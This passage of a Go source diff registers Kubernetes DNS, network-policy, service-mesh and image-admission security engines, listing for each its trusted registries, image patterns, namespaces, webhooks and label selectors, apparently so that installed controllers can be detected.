"k8s.gcr.io/",
|
||||
"bitnami/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"external-dns",
|
||||
"externaldns",
|
||||
"k8s-sigs/external-dns",
|
||||
"bitnami/external-dns",
|
||||
},
|
||||
DeploymentPatterns: []string{"external-dns"},
|
||||
ExpectedNamespaces: []string{"external-dns", "kube-system", "default"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=external-dns", "app=external-dns"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// PowerDNS
|
||||
r.register(&Engine{
|
||||
ID: "powerdns",
|
||||
Name: "PowerDNS",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"powerdns/",
|
||||
"docker.io/powerdns/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"powerdns/pdns",
|
||||
"powerdns-admin",
|
||||
"pdns",
|
||||
},
|
||||
DeploymentPatterns: []string{"powerdns"},
|
||||
ExpectedNamespaces: []string{"powerdns", "kube-system"},
|
||||
LabelSelectors: []string{"app=powerdns"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Unbound DNS
|
||||
r.register(&Engine{
|
||||
ID: "unbound",
|
||||
Name: "Unbound DNS",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"klutchell/",
|
||||
"mvance/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"unbound",
|
||||
},
|
||||
DeploymentPatterns: []string{"unbound"},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
LabelSelectors: []string{"app=unbound"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// AWS Route53 Resolver
|
||||
r.register(&Engine{
|
||||
ID: "route53-resolver",
|
||||
Name: "Route53 Resolver",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"amazon/",
|
||||
"602401143452.dkr.ecr.",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"route53-resolver",
|
||||
"amazon/cloud-map-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"route53-resolver"},
|
||||
ExpectedNamespaces: []string{"kube-system", "aws-controllers"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// GCP Cloud DNS
|
||||
r.register(&Engine{
|
||||
ID: "gcp-cloud-dns",
|
||||
Name: "GCP Cloud DNS",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/",
|
||||
"gke.gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"cloud-dns",
|
||||
"k8s-dns",
|
||||
},
|
||||
DeploymentPatterns: []string{},
|
||||
ExpectedNamespaces: []string{"kube-system", "gke-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure DNS
|
||||
r.register(&Engine{
|
||||
ID: "azure-dns",
|
||||
Name: "Azure DNS",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"azure-dns",
|
||||
"azure/external-dns",
|
||||
},
|
||||
DeploymentPatterns: []string{},
|
||||
ExpectedNamespaces: []string{"kube-system", "azure-dns"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Pi-hole
|
||||
r.register(&Engine{
|
||||
ID: "pihole",
|
||||
Name: "Pi-hole",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"pihole/",
|
||||
"docker.io/pihole/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"pihole/pihole",
|
||||
"pihole",
|
||||
},
|
||||
DeploymentPatterns: []string{"pihole"},
|
||||
ExpectedNamespaces: []string{"pihole", "kube-system"},
|
||||
LabelSelectors: []string{"app=pihole"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// AdGuard Home
|
||||
r.register(&Engine{
|
||||
ID: "adguard",
|
||||
Name: "AdGuard Home",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"adguard/",
|
||||
"docker.io/adguard/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"adguard/adguardhome",
|
||||
"adguardhome",
|
||||
},
|
||||
DeploymentPatterns: []string{"adguard-home"},
|
||||
ExpectedNamespaces: []string{"adguard", "kube-system"},
|
||||
LabelSelectors: []string{"app=adguard-home"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Network Controllers with DNS Policy Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// Calico - GlobalNetworkPolicy supports FQDN-based egress rules
|
||||
r.register(&Engine{
|
||||
ID: "calico",
|
||||
Name: "Calico",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"calico/",
|
||||
"docker.io/calico/",
|
||||
"quay.io/calico/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"calico/kube-controllers",
|
||||
"calico/cni",
|
||||
"calico/node",
|
||||
"calico/typha",
|
||||
},
|
||||
DeploymentPatterns: []string{"calico-kube-controllers", "calico-typha"},
|
||||
ExpectedNamespaces: []string{"kube-system", "calico-system"},
|
||||
CRDGroups: []string{"crd.projectcalico.org", "projectcalico.org"},
|
||||
LabelSelectors: []string{"k8s-app=calico-node", "k8s-app=calico-kube-controllers"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Cilium - CiliumNetworkPolicy has toFQDNs for DNS-aware policies
|
||||
r.register(&Engine{
|
||||
ID: "cilium",
|
||||
Name: "Cilium",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"cilium/",
|
||||
"quay.io/cilium/",
|
||||
"docker.io/cilium/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"cilium/cilium",
|
||||
"cilium/operator",
|
||||
},
|
||||
DeploymentPatterns: []string{"cilium-operator"},
|
||||
ExpectedNamespaces: []string{"kube-system", "cilium"},
|
||||
CRDGroups: []string{"cilium.io"},
|
||||
LabelSelectors: []string{"k8s-app=cilium", "app.kubernetes.io/name=cilium"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Antrea - ClusterNetworkPolicy with FQDN support
|
||||
r.register(&Engine{
|
||||
ID: "antrea",
|
||||
Name: "Antrea",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"antrea/",
|
||||
"projects.registry.vmware.com/antrea/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"antrea/antrea-agent",
|
||||
"antrea/antrea-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"antrea-controller"},
|
||||
ExpectedNamespaces: []string{"kube-system", "antrea-system"},
|
||||
CRDGroups: []string{"crd.antrea.io"},
|
||||
LabelSelectors: []string{"app=antrea", "component=antrea-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Service Mesh with DNS Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// Istio - ServiceEntry for DNS routing and external service resolution
|
||||
r.register(&Engine{
|
||||
ID: "istio",
|
||||
Name: "Istio",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/istio/",
|
||||
"istio/",
|
||||
"gcr.io/istio-release/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"istio/proxyv2",
|
||||
"istio/pilot",
|
||||
"istio/istiod",
|
||||
},
|
||||
DeploymentPatterns: []string{"istiod"},
|
||||
ExpectedNamespaces: []string{"istio-system"},
|
||||
CRDGroups: []string{"networking.istio.io"},
|
||||
LabelSelectors: []string{"app=istiod", "istio=pilot"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Consul - DNS forwarding and service mesh DNS
|
||||
r.register(&Engine{
|
||||
ID: "consul",
|
||||
Name: "Consul",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"hashicorp/",
|
||||
"docker.io/hashicorp/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"hashicorp/consul",
|
||||
"consul",
|
||||
"consul-k8s",
|
||||
},
|
||||
DeploymentPatterns: []string{"consul-server", "consul-connect-injector"},
|
||||
ExpectedNamespaces: []string{"consul", "hashicorp"},
|
||||
CRDGroups: []string{"consul.hashicorp.com"},
|
||||
LabelSelectors: []string{"app=consul", "component=server"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// =============================================================================
|
||||
// Policy Engines with DNS Policy Capabilities
|
||||
// =============================================================================
|
||||
|
||||
// OPA Gatekeeper - Can enforce DNS policy constraints
|
||||
r.register(&Engine{
|
||||
ID: "gatekeeper",
|
||||
Name: "OPA Gatekeeper",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"openpolicyagent/",
|
||||
"quay.io/gatekeeper/",
|
||||
"docker.io/openpolicyagent/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"openpolicyagent/gatekeeper",
|
||||
"gatekeeper",
|
||||
},
|
||||
DeploymentPatterns: []string{"gatekeeper-controller-manager", "gatekeeper-audit"},
|
||||
ExpectedNamespaces: []string{"gatekeeper-system", "kube-system"},
|
||||
WebhookPatterns: []string{"gatekeeper-validating", "gatekeeper-mutating"},
|
||||
CRDGroups: []string{"constraints.gatekeeper.sh", "templates.gatekeeper.sh"},
|
||||
LabelSelectors: []string{"control-plane=controller-manager", "gatekeeper.sh/system=yes"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kyverno - Can validate/mutate DNS-related resources
|
||||
r.register(&Engine{
|
||||
ID: "kyverno",
|
||||
Name: "Kyverno",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kyverno/",
|
||||
"nirmata/",
|
||||
"docker.io/nirmata/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kyverno/kyverno",
|
||||
"kyverno",
|
||||
"nirmata/kyverno",
|
||||
},
|
||||
DeploymentPatterns: []string{"kyverno", "kyverno-admission-controller"},
|
||||
ExpectedNamespaces: []string{"kyverno", "kube-system"},
|
||||
WebhookPatterns: []string{"kyverno-resource-validating", "kyverno-resource-mutating"},
|
||||
CRDGroups: []string{"kyverno.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=kyverno", "app=kyverno"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kubewarden - Can enforce DNS-related policies
|
||||
r.register(&Engine{
|
||||
ID: "kubewarden",
|
||||
Name: "Kubewarden",
|
||||
Category: CategoryDNS,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kubewarden/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kubewarden/policy-server",
|
||||
"kubewarden/kubewarden-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"kubewarden-controller", "policy-server"},
|
||||
ExpectedNamespaces: []string{"kubewarden", "kubewarden-system"},
|
||||
WebhookPatterns: []string{"kubewarden"},
|
||||
CRDGroups: []string{"policies.kubewarden.io"},
|
||||
LabelSelectors: []string{"app=kubewarden-policy-server", "app.kubernetes.io/name=kubewarden-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,685 @@
|
||||
package admission
|
||||
|
||||
// registerImageEngines registers all image admission controller engines
|
||||
func (r *EngineRegistry) registerImageEngines() {
|
||||
// Portieris - IBM image signature verification
|
||||
r.register(&Engine{
|
||||
ID: "portieris",
|
||||
Name: "Portieris",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/",
|
||||
"icr.io/",
|
||||
"quay.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"ibmcom/portieris",
|
||||
"portieris",
|
||||
},
|
||||
DeploymentPatterns: []string{"portieris"},
|
||||
ExpectedNamespaces: []string{"portieris", "ibm-system", "kube-system"},
|
||||
WebhookPatterns: []string{"portieris", "image-admission"},
|
||||
CRDGroups: []string{"portieris.cloud.ibm.com"},
|
||||
LabelSelectors: []string{"app=portieris", "app.kubernetes.io/name=portieris"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Connaisseur - signature verification
|
||||
r.register(&Engine{
|
||||
ID: "connaisseur",
|
||||
Name: "Connaisseur",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/",
|
||||
"ghcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"securesystemsengineering/connaisseur",
|
||||
"connaisseur",
|
||||
},
|
||||
DeploymentPatterns: []string{"connaisseur"},
|
||||
ExpectedNamespaces: []string{"connaisseur", "kube-system"},
|
||||
WebhookPatterns: []string{"connaisseur"},
|
||||
LabelSelectors: []string{"app=connaisseur", "app.kubernetes.io/name=connaisseur"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Ratify - Microsoft artifact verification
|
||||
r.register(&Engine{
|
||||
ID: "ratify",
|
||||
Name: "Ratify",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/",
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"ratify-project/ratify",
|
||||
"deislabs/ratify",
|
||||
"ratify",
|
||||
},
|
||||
DeploymentPatterns: []string{"ratify"},
|
||||
ExpectedNamespaces: []string{"ratify", "gatekeeper-system", "kube-system"},
|
||||
WebhookPatterns: []string{"ratify"},
|
||||
CRDGroups: []string{"config.ratify.deislabs.io"},
|
||||
LabelSelectors: []string{"app=ratify", "app.kubernetes.io/name=ratify"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kritis - Google attestation
|
||||
r.register(&Engine{
|
||||
ID: "kritis",
|
||||
Name: "Kritis",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/",
|
||||
"us-docker.pkg.dev/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kritis-project/kritis-signer",
|
||||
"kritis-signer",
|
||||
"kritis",
|
||||
},
|
||||
DeploymentPatterns: []string{"kritis"},
|
||||
ExpectedNamespaces: []string{"kritis", "kube-system"},
|
||||
WebhookPatterns: []string{"kritis"},
|
||||
CRDGroups: []string{"kritis.grafeas.io"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Sigstore Policy Controller
|
||||
r.register(&Engine{
|
||||
ID: "sigstore",
|
||||
Name: "Sigstore Policy Controller",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/",
|
||||
"gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"sigstore/policy-controller",
|
||||
"policy-controller",
|
||||
"policy-webhook",
|
||||
},
|
||||
DeploymentPatterns: []string{"policy-controller", "policy-webhook"},
|
||||
ExpectedNamespaces: []string{"cosign-system", "sigstore-system", "kube-system"},
|
||||
WebhookPatterns: []string{"policy.sigstore.dev", "cosign"},
|
||||
CRDGroups: []string{"policy.sigstore.dev"},
|
||||
LabelSelectors: []string{"app=policy-controller", "app.kubernetes.io/name=policy-controller"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Notation / Notary v2
|
||||
r.register(&Engine{
|
||||
ID: "notation",
|
||||
Name: "Notation",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/",
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"notaryproject/notation",
|
||||
"notation",
|
||||
},
|
||||
DeploymentPatterns: []string{"notation"},
|
||||
ExpectedNamespaces: []string{"notation-system", "kube-system"},
|
||||
CRDGroups: []string{"notation.cncf.io"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// GCP Binary Authorization
|
||||
r.register(&Engine{
|
||||
ID: "gcp-binauth",
|
||||
Name: "GCP Binary Authorization",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"gcr.io/",
|
||||
"us-docker.pkg.dev/",
|
||||
},
|
||||
ImagePatterns: []string{}, // Uses ImagePolicyWebhook, no dedicated controller image
|
||||
DeploymentPatterns: []string{},
|
||||
ExpectedNamespaces: []string{"kube-system"},
|
||||
WebhookPatterns: []string{"imagepolicywebhook.image-policy.k8s.io", "binaryauthorization"},
|
||||
RequireImageVerification: false, // Cloud-managed service
|
||||
})
|
||||
|
||||
// AWS Signer
|
||||
r.register(&Engine{
|
||||
ID: "aws-signer",
|
||||
Name: "AWS Signer",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"public.ecr.aws/",
|
||||
"602401143452.dkr.ecr.", // AWS managed ECR
|
||||
},
|
||||
ImagePatterns: []string{"aws-signer"},
|
||||
DeploymentPatterns: []string{"aws-signer"},
|
||||
ExpectedNamespaces: []string{"kube-system", "aws-signer"},
|
||||
CRDGroups: []string{"signer.amazonaws.com"},
|
||||
RequireImageVerification: false, // AWS managed
|
||||
})
|
||||
|
||||
// Aqua Security
|
||||
r.register(&Engine{
|
||||
ID: "aqua",
|
||||
Name: "Aqua Security",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"registry.aquasec.com/",
|
||||
"docker.io/aquasec/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aquasec/kube-enforcer",
|
||||
"aquasec/aqua-enforcer",
|
||||
"aqua-enforcer",
|
||||
"kube-enforcer",
|
||||
},
|
||||
DeploymentPatterns: []string{"aqua-kube-enforcer", "aqua-enforcer"},
|
||||
ExpectedNamespaces: []string{"aqua", "aqua-security", "kube-system"},
|
||||
WebhookPatterns: []string{"aqua", "kube-enforcer"},
|
||||
LabelSelectors: []string{"app=aqua-kube-enforcer"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Prisma Cloud / Twistlock
|
||||
r.register(&Engine{
|
||||
ID: "prisma",
|
||||
Name: "Prisma Cloud",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"registry.twistlock.com/",
|
||||
"registry-auth.twistlock.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"twistlock/defender",
|
||||
"prismacloud/defender",
|
||||
"twistlock-defender",
|
||||
},
|
||||
DeploymentPatterns: []string{"twistlock-defender", "prisma-defender"},
|
||||
ExpectedNamespaces: []string{"twistlock", "prisma-cloud", "kube-system"},
|
||||
WebhookPatterns: []string{"twistlock", "prisma"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Sysdig Secure
|
||||
r.register(&Engine{
|
||||
ID: "sysdig",
|
||||
Name: "Sysdig Secure",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/sysdig/",
|
||||
"docker.io/sysdig/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"sysdig/admission-controller",
|
||||
"sysdig/agent",
|
||||
},
|
||||
DeploymentPatterns: []string{"sysdig-admission-controller"},
|
||||
ExpectedNamespaces: []string{"sysdig", "sysdig-agent", "kube-system"},
|
||||
WebhookPatterns: []string{"sysdig"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NeuVector
|
||||
r.register(&Engine{
|
||||
ID: "neuvector",
|
||||
Name: "NeuVector",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/neuvector/",
|
||||
"neuvector/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"neuvector/controller",
|
||||
"neuvector/enforcer",
|
||||
"neuvector/manager",
|
||||
},
|
||||
DeploymentPatterns: []string{"neuvector-controller", "neuvector-enforcer"},
|
||||
ExpectedNamespaces: []string{"neuvector", "kube-system"},
|
||||
WebhookPatterns: []string{"neuvector"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// StackRox / Red Hat ACS
|
||||
r.register(&Engine{
|
||||
ID: "stackrox",
|
||||
Name: "StackRox/RHACS",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/stackrox-io/",
|
||||
"registry.redhat.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"stackrox-io/main",
|
||||
"stackrox-io/scanner",
|
||||
"advanced-cluster-security/rhacs",
|
||||
},
|
||||
DeploymentPatterns: []string{"central", "sensor", "scanner"},
|
||||
ExpectedNamespaces: []string{"stackrox", "rhacs-operator", "kube-system"},
|
||||
WebhookPatterns: []string{"stackrox", "acs"},
|
||||
CRDGroups: []string{"platform.stackrox.io"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Snyk Container
|
||||
r.register(&Engine{
|
||||
ID: "snyk",
|
||||
Name: "Snyk Container",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/snyk/",
|
||||
"snyk/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"snyk/kubernetes-monitor",
|
||||
"snyk/snyk",
|
||||
},
|
||||
DeploymentPatterns: []string{"snyk-monitor"},
|
||||
ExpectedNamespaces: []string{"snyk-monitor", "kube-system"},
|
||||
WebhookPatterns: []string{"snyk"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Anchore Enterprise
|
||||
r.register(&Engine{
|
||||
ID: "anchore",
|
||||
Name: "Anchore Enterprise",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"docker.io/anchore/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"anchore/anchore-engine",
|
||||
"anchore/enterprise",
|
||||
"anchore/kai",
|
||||
},
|
||||
DeploymentPatterns: []string{"anchore-engine", "anchore-enterprise"},
|
||||
ExpectedNamespaces: []string{"anchore", "anchore-enterprise", "kube-system"},
|
||||
WebhookPatterns: []string{"anchore"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Trivy Operator
|
||||
r.register(&Engine{
|
||||
ID: "trivy",
|
||||
Name: "Trivy Operator",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/aquasecurity/",
|
||||
"docker.io/aquasec/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"aquasecurity/trivy-operator",
|
||||
"aquasec/trivy",
|
||||
"trivy-operator",
|
||||
},
|
||||
DeploymentPatterns: []string{"trivy-operator"},
|
||||
ExpectedNamespaces: []string{"trivy-system", "trivy-operator", "kube-system"},
|
||||
CRDGroups: []string{"aquasecurity.github.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=trivy-operator"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Kubewarden
|
||||
r.register(&Engine{
|
||||
ID: "kubewarden",
|
||||
Name: "Kubewarden",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kubewarden/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kubewarden/policy-server",
|
||||
"kubewarden/kubewarden-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"kubewarden-controller", "policy-server"},
|
||||
ExpectedNamespaces: []string{"kubewarden", "kubewarden-system", "kube-system"},
|
||||
WebhookPatterns: []string{"kubewarden"},
|
||||
CRDGroups: []string{"policies.kubewarden.io"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Harbor
|
||||
r.register(&Engine{
|
||||
ID: "harbor",
|
||||
Name: "Harbor",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"goharbor/",
|
||||
"docker.io/goharbor/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"goharbor/harbor-core",
|
||||
"goharbor/trivy-adapter",
|
||||
},
|
||||
DeploymentPatterns: []string{"harbor-core", "harbor-trivy"},
|
||||
ExpectedNamespaces: []string{"harbor", "harbor-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Clair
|
||||
r.register(&Engine{
|
||||
ID: "clair",
|
||||
Name: "Clair",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"quay.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"projectquay/clair",
|
||||
"quay.io/projectquay/clair",
|
||||
"clair/clair",
|
||||
},
|
||||
DeploymentPatterns: []string{"clair"},
|
||||
ExpectedNamespaces: []string{"clair", "quay", "quay-enterprise"},
|
||||
WebhookPatterns: []string{"clair", "quay-clair"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// Azure Policy for AKS
|
||||
r.register(&Engine{
|
||||
ID: "azure-policy",
|
||||
Name: "Azure Policy",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"mcr.microsoft.com/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"azure-policy/policy-kubernetes",
|
||||
"aks/azure-policy",
|
||||
},
|
||||
DeploymentPatterns: []string{"azure-policy"},
|
||||
ExpectedNamespaces: []string{"kube-system", "gatekeeper-system"},
|
||||
WebhookPatterns: []string{"azure-policy"},
|
||||
RequireImageVerification: false, // Azure managed
|
||||
})
|
||||
|
||||
// Kyverno (also used for pod admission)
|
||||
r.register(&Engine{
|
||||
ID: "kyverno",
|
||||
Name: "Kyverno",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/kyverno/",
|
||||
"docker.io/kyverno/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"kyverno/kyverno",
|
||||
"kyverno/kyvernopre",
|
||||
},
|
||||
DeploymentPatterns: []string{"kyverno", "kyverno-admission-controller"},
|
||||
ExpectedNamespaces: []string{"kyverno", "kube-system"},
|
||||
WebhookPatterns: []string{"kyverno"},
|
||||
CRDGroups: []string{"kyverno.io"},
|
||||
LabelSelectors: []string{"app.kubernetes.io/name=kyverno"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// OPA Gatekeeper
|
||||
r.register(&Engine{
|
||||
ID: "gatekeeper",
|
||||
Name: "OPA Gatekeeper",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"openpolicyagent/",
|
||||
"docker.io/openpolicyagent/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"openpolicyagent/gatekeeper",
|
||||
"gatekeeper",
|
||||
},
|
||||
DeploymentPatterns: []string{"gatekeeper-controller-manager", "gatekeeper-audit"},
|
||||
ExpectedNamespaces: []string{"gatekeeper-system", "opa-system", "kube-system"},
|
||||
WebhookPatterns: []string{"gatekeeper"},
|
||||
CRDGroups: []string{"templates.gatekeeper.sh", "constraints.gatekeeper.sh"},
|
||||
LabelSelectors: []string{"gatekeeper.sh/system=yes", "control-plane=controller-manager"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NEW: Cosign standalone (not part of Sigstore policy controller)
|
||||
r.register(&Engine{
|
||||
ID: "cosign",
|
||||
Name: "Cosign",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/sigstore/",
|
||||
"gcr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"sigstore/cosign",
|
||||
"cosign",
|
||||
},
|
||||
DeploymentPatterns: []string{"cosign"},
|
||||
ExpectedNamespaces: []string{"cosign-system", "sigstore-system"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NEW: Flux Image Automation
|
||||
r.register(&Engine{
|
||||
ID: "flux-image",
|
||||
Name: "Flux Image Automation",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"ghcr.io/fluxcd/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"fluxcd/image-automation-controller",
|
||||
"fluxcd/image-reflector-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"image-automation-controller", "image-reflector-controller"},
|
||||
ExpectedNamespaces: []string{"flux-system"},
|
||||
CRDGroups: []string{"image.toolkit.fluxcd.io"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NEW: JFrog Xray
|
||||
r.register(&Engine{
|
||||
ID: "jfrog-xray",
|
||||
Name: "JFrog Xray",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"releases-docker.jfrog.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"jfrog/xray",
|
||||
"xray",
|
||||
},
|
||||
DeploymentPatterns: []string{"xray"},
|
||||
ExpectedNamespaces: []string{"jfrog", "artifactory"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NEW: Wiz
|
||||
r.register(&Engine{
|
||||
ID: "wiz",
|
||||
Name: "Wiz",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"wizio.azurecr.io/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"wiz-sensor",
|
||||
"wiz-admission-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"wiz-sensor", "wiz-admission-controller"},
|
||||
ExpectedNamespaces: []string{"wiz"},
|
||||
WebhookPatterns: []string{"wiz"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
// NEW: Lacework
|
||||
r.register(&Engine{
|
||||
ID: "lacework",
|
||||
Name: "Lacework",
|
||||
Category: CategoryImage,
|
||||
TrustedRegistries: []string{
|
||||
"lacework/",
|
||||
},
|
||||
ImagePatterns: []string{
|
||||
"lacework/datacollector",
|
||||
"lacework/k8s-admission-controller",
|
||||
},
|
||||
DeploymentPatterns: []string{"lacework-agent", "lacework-admission-controller"},
|
||||
ExpectedNamespaces: []string{"lacework"},
|
||||
WebhookPatterns: []string{"lacework"},
|
||||
RequireImageVerification: true,
|
||||
})
|
||||
|
||||
